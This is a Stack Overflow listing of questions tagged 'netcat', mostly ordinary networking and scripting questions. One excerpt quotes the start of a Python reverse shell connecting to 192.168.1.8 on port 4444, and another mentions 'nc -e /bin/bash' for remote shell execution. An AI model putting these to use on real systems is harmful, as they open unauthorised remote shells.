Questions tagged [netcat]

netcat is a command for performing read/write operations on TCP or UDP network connections.

Filter by
Sorted by
Tagged with
-1 votes
0 answers
22 views

How can I find out which port the incoming traffic is coming to?

I have a server, and I know that traffic is coming to a specific port. Unfortunately, I don't know which port it is; obviously, it is currently closed. How can I find out which port is constantly ...
Anton Ivanov's user avatar
0 votes
0 answers
24 views

Netcat for CTF Binaries

I have hosted a binary on my AWS EC2 Engine in a docker container using tcpserver. The binary is like that it print something first then take input, But when i am doing netcat to the binary it first ...
ADITYA KUMAR's user avatar
0 votes
1 answer
60 views

Issue with Console Access to Switch Using Socat: Command Echoing

I'm attempting to connect to a switch through the console using the following socat command: socat tcp4-listen:5050,reuseaddr,fork file:/dev/ttyUSB1,nonblock,raw,echo=0 However, when connecting to it ...
mehran rahnama's user avatar
0 votes
2 answers
77 views

Shell script not killing nc process when quitting

I'm trying to create a simple honeypot using shell scripting. The script uses a while loop to keep a nc from stopping when the client closes the connection. I wrote a function to kill all processes, ...
Rayan Araujo's user avatar
0 votes
0 answers
43 views

Netcat forward host lookup: Unknown host, but I can ping

dears!! I'm trying to use netcat for remote connect in my computer and I'm facing a problem here. I`m using two machines and both have a VM running Kali Linux. One of them is the linstener and the ...
efraim.lima's user avatar
0 votes
0 answers
47 views

Parse netcat output before sending?

For experimental and educational purposes, I am creating an extremely small and simple web server using only netcat. currently i have HTTP_RESPONSE="HTTP/1.1 200 OK\n\n Hello" { echo -ne &...
Cardeal Russo's user avatar
0 votes
1 answer
107 views

UDP hole punching behind NAT using netcat

I recently came across an experiment wherein they where able to make peer-to-peer communications happen between 2 machines using UDP hole punching using netcat. I'm not sure if I fully understand the ...
Aritra Sur Roy's user avatar
0 votes
0 answers
28 views

How to probe remote Services using a shell script

I have a project that needs to detect different service ip to distinguish between internal network or external network access. At the beginning, I used the following nc command to detect, but the ...
moluzhui's user avatar
  • 1,001
0 votes
0 answers
28 views

How can I one-to-many stream with netcat or socat?

I have a serial device I would like to share with other devices on my network. I would like each device to be able to read/write to this serial device. I have used netcat to stream this serial device ...
cluberic's user avatar
0 votes
1 answer
44 views

python3 terminal code runs fine, but the script does not

When using the Python3 CLI in the Linux terminal by simply calling 'python3' I am able to run and execute the socket code shown below to send a command to a netcat server running on a sensor on my ...
castaway2000's user avatar
0 votes
1 answer
42 views

How to resolve the error "'nc' not available in my environment."

I try to run this command to validate if zookeeper service is healthy or not echo ruok | nc localhost 2181 and i got this error in the terminal 'nc' not available in my environment. what is the ...
Ahmed Hassine's user avatar
0 votes
0 answers
58 views

Rust UDP connection not working but netcat does

I'm trying to get data that is sent via udp to port 20777 on my mac. Running a listener with netcat, I'm able to receive the data: nc -u -l 0.0.0.0 20777. However, the following rust code hangs on ...
dvr's user avatar
  • 370
0 votes
1 answer
85 views

Is there a way to send prompts to a netcat server Dynamically by scripting

I am given a problem by my professor to design a script for netcat prompts.. I need to calculate the sum of given two numbers and pass the sum as prompt for 1000 times. I developed a script using awk ...
NITHINN MANICKAM G's user avatar
0 votes
0 answers
91 views

Why Netcat doesn't output anything

I am running the following command on Manjaro: nc -lvnp 1337 It doesn't output anything at all. It should respond listening on [any] 1337... The task manager shows that the process is taking up memory....
Dari 's user avatar
0 votes
1 answer
774 views

open a port permanently on linux using nc (netcat) [duplicate]

This topic is mentioned multiple times everywhere but none of the solutions work for me. I have multiple Linux host machines, they are actually docker containers, based on alpine image. I would like ...
zappee's user avatar
  • 20.7k
0 votes
0 answers
176 views

How to use netcat or socat to execute an elf type file that compiled from C language like CTF

Like the title saying. I have a C program and I compile it to an ELF by using gcc. Now I want to run this ELF up and using netcat to proxy it. Let client can netcat to service then send message and ...
Miyago9267's user avatar
2 votes
1 answer
46 views

Netcat webserver not reliable?

If you create a very simple webserver in Bash: #!/usr/bin/env bash HTML="<!DOCTYPE html><HTML><BODY>Test</BODY></HTML>" LENGTH="${#HTML}" RESPONSE=&...
Maestro's user avatar
  • 9,148
1 vote
0 answers
205 views

How to use Python pwn tools to resolve a side channel case study

I work on class exercice that involves on find a password on a remote server. The goal is to use the Python pwn library. When I access to the server with a nc IP port I have : [0000014075] ...
Julien's user avatar
  • 699
0 votes
0 answers
32 views

nc(netcat) cmd output interpretation

Just a quick question. I used nc cmd like the following. nc -v kvs(=my-redis-host-name) 6379 and the output was kvs [127.255.0.2] 6379 (?) open. How can I interpret this? I searched nc cmd output ...
Steve's user avatar
  • 41
0 votes
0 answers
85 views

Writing a Netcat similar tool in c# but can't receive data from linux

I'm writing a tool like nc. I'm giving my ip adress and my port to listen for incoming connections. This is my source code : using System; using System.Collections.Generic; using System.Net; using ...
mesut yıldırım's user avatar
0 votes
1 answer
216 views

How to send a Hex Byte array using NetCat (nc)

I want to send a byte array to a device in my network with IP addres 192.168.0.80 via UDP to port 8888, how can i do that using NetCat? 02,01,65,C9,00,02,01,06
Denis Schaf's user avatar
  • 2,526
2 votes
0 answers
66 views

Trying to make bash server

I'am trying to make bash server. I need to handle only get requests. When i send a get reques. I could not get response. I can't understand why doesn't it work. #!/bin/bash port=$1 dir=$2 while true;...
Дима Орлов's user avatar
0 votes
0 answers
13 views

Creating netCDF files for each value in a timeseries

I have a timeseries data for streamflow for a specific location in the projected coordinate system (692662.97,4156787.11). And I also have a raster map with the information below: class : ...
Hüsamettin Tayşi's user avatar
0 votes
0 answers
69 views

socat :execute command on /dev/ttys001 and get output on /dev/ttys002

I am trying to connects 2 terminal on my localhost. Here is what I want to do: input shell command on shell terminal /dev/ttys001 get out put on shell terminal /dev/ttys002 besides 2 , I would also ...
Jia's user avatar
  • 2,437
0 votes
0 answers
42 views

How can I do a comparison between boost::asio::buffer() and a string in c++?

I don't know what I am doing wrong, but my comparison does not work. I send a message x via netcat and compare it with a list of possibilities and see if the message is valid or not. But always the ...
rere's user avatar
  • 25
1 vote
0 answers
533 views

How to log the content of TCP connection proxied through HAProxy

In the logs from HAProxy I would like to log the content of the TCP connection. So if a TCP connection sends the word "hello" over TCP through my HAProxy I would like the word "hello&...
Kallekutta's user avatar
0 votes
1 answer
163 views

python reverse shell for windows?

i have this piece of code import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.8",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s....
amiroof's user avatar
  • 31
1 vote
1 answer
134 views

Force ncat to send packet without closing connection

I wrote a socket client using ASIO standalone library. To test the client, I downloaded the windows version of ncat utility from https://nmap.org/download.html. The client program sends a packet and ...
DailyLearner's user avatar
  • 2,153
0 votes
0 answers
56 views

Failed to connect localhost using `nc` inside a docker

I started up a docker container on my machine: docker run -di \ --name=mycontainer\ --runtime=nvidia \ --privileged \ --shm-size 4G \ -p 40122:22 \ -p 40443:443 \ -p 48080:8080 \ -p 48888:8888 \ -p ...
ZenithX's user avatar
0 votes
1 answer
109 views

Netcat to send/receive to/from DPDK is not receiving forwarded packets

I'm running the DPDK Skeleton example, which forwards received packets: https://doc.dpdk.org/guides/sample_app_ug/skeleton.html sudo ./dpdk-skeleton -l 1 -n 4 EAL: Detected CPU lcores: 4 EAL: Detected ...
intrigued_66's user avatar
  • 16.3k
2 votes
1 answer
84 views

How to use netcat to provide input to DPDK examples?

I'm running the DPDK Skeleton example from here: https://doc.dpdk.org/guides/sample_app_ug/skeleton.html Getting this output: sudo ./dpdk-skeleton -l 1 -n 4 EAL: Detected CPU lcores: 4 EAL: Detected ...
intrigued_66's user avatar
  • 16.3k
1 vote
0 answers
86 views

Netcat server is not responding to SYN request from client

Context Client configuration : STM32U585 with ENC28J60 ethernet controller and NetX TCP/IP stack. Server configuration : netcat sample server running on ubuntu (exact command : netcat -l -p 6001 -s ...
Vivek Vijayan's user avatar
0 votes
0 answers
278 views

Netcat not working like it used to, for TCP connection

I used to test TCP/UDP connections as it shows on man page, a bit like this: //tcp client nc localhost 8080 //tcp server nc -l 8080 // udp client nc -u localhost 8080 //UDP server nc -lu 8080 ...
mic_drop's user avatar
0 votes
0 answers
81 views

What is the unknown socket error I get with netcat?

I want to connect 2 computers with netcat and use an -e /bin/bash function to be able to execute shells on one of the computers. I connect them normally with these two lines: nc -l -p 1299 and nc (...
sietse termo's user avatar
0 votes
1 answer
188 views

How to continuously send data to client from server

I want to continuously send data from server to client. On the client side, I only want the received data to be displayed. How to continuously send data to client? echo "Hello, client!" | nc ...
Şahin Şengül's user avatar
0 votes
0 answers
68 views

netcat - How do I synchronize my portscan and port listen scripts and how do i export all output to a .txt file?

My goal is to have a port listen script on Host A which listens on predefined ports using netcat. While this script listens, the port scan script is running on Host B and checks if the ports on Host A ...
JustSomeDude's user avatar
0 votes
0 answers
29 views

Netcat listening and transfering

I used to transfer files with netcat, but my windows pc and iphone does not respond to listening right now. It seems its about pc, Just a nc -nvlp 4545 doesn't even work, but sometimes file transfer ...
mark's user avatar
  • 81
0 votes
0 answers
43 views

How to check the connection through the `curl` without getting a full-response, just like with netcat: `nc -z [serverip] [port]`

I have following script for docker: #!/bin/sh cmd="$@" echo "Waiting for postgres..." while ! nc -z db 5432; do sleep 0.1 done echo "PostgreSQL started" flask db ...
inauris's user avatar
1 vote
1 answer
546 views

socat and dig simulate DNS request on localhost DNS server

I am trying to play with socat to simulate a DNS request on localhost. Here is what I did setup DNS server on localhost port 15353 and once request received on 15353, it will forword it to google's ...
Jia's user avatar
  • 2,437
0 votes
0 answers
26 views

Python socket binding and netcatting [duplicate]

I'm new to Python. I'm trying to write a program which is supposed to listen on a specific localhost port I've chosen and do some HTTP communications. I had initially been using a browser, but the ...
Noam Bechhofer's user avatar
0 votes
0 answers
97 views

How to prevent text from being echoed over netcat (nc) when reading it with bash's read -s?

I have an authentication implemented in a bash script. A user enters his password through this line of code: read -s password When entering the password over nc the password gets echoed like the -s ...
Celdor's user avatar
  • 26
4 votes
1 answer
7k views

Package 'netcat' has no installation candidate Ubuntu 22.10 Kinetic Redmail

When I try to install Redmail I get the error: Package netcat is a virtual package provided by: netcat-traditional 1.10-47 netcat-openbsd 1.218-5ubuntu1 E: Package 'netcat' has no installation ...
daniel's user avatar
  • 163
0 votes
1 answer
195 views

Why can tcpdump receive UDP broadcasts that netcat or socat can't?

I have a separate modem and router, configured with the modem as a bridge. The modem hosts a LAN where it has IP address of 192.186.2.1. In order to be able to access the modem's web UI, the router ...
Dr John A Stevenson's user avatar
1 vote
0 answers
1k views

socat localhost proxy with 'Connection refused'

I want to play with socat to setup a localhost proxy , which could redirect my request from local proxy I setup to a remote server. Below are 2 commands I try (by google) Command 1: works right on ...
Jia's user avatar
  • 2,437
0 votes
1 answer
149 views

Spring Integration : Failed to send reply after netcat's command

My use case : Client netcat to send tcp socket to the server echo -n "coincoincoin" | nc -v host port Server tcp with Spring Integration receive the request from client Sever receiving ...
bacalum's user avatar
0 votes
1 answer
696 views

K8s cluster deployment error: nc: bad address 'xx'

host@host:~$ kubectl logs kafka-0 -c init-zookeeper nc: bad address 'zookeeper-0.zookeeper-headless-service.default.svc.cluster.local' I have deployed an k8s cluster. When the application pod was ...
Ryder's user avatar
  • 35
0 votes
0 answers
291 views

Bash - Get response from Netcat as hex

I’m currently working with a kvm switch that takes hex commands over tcp and returns a response. When on my Mac, I can run: echo -e -n ‘\xAA\xBB\x01\x00’ > | netcat 192.169.2.43 4500 And when it’s ...
Cas's user avatar
  • 1
0 votes
1 answer
822 views

Convert NETCDF file to TIFF when coordinates are variables (not coordinates)

How to convert the NetCDF to TIFF, when the coordinates are stored in another NetCDF file (and are a irregular grid, since this covers the Arctic region)? An example of the NetCDF file can be ...
SNunes's user avatar
  • 11
1 vote
2 answers
530 views

Increase netcat read buffer from 4KB to 10KB

I try to use netcat as a quick-and-dirty socket server to receive requests with four words: m base exponent modulus, for example m 119911077684 3 25. I get back the result of the calculation. This ...
baumschubser's user avatar
0 votes
1 answer
455 views

Send Modbus RTU request to temperature controller over TCP/IP using Netcat

I'm trying to send a Modbus RTU message over over a wireless network to a temperature controller (PID), via a device that accepts an incoming TCP/IP packet and then forwards its data over an RS455 ...
Dan Luba's user avatar
  • 114

1
2 3 4 5
19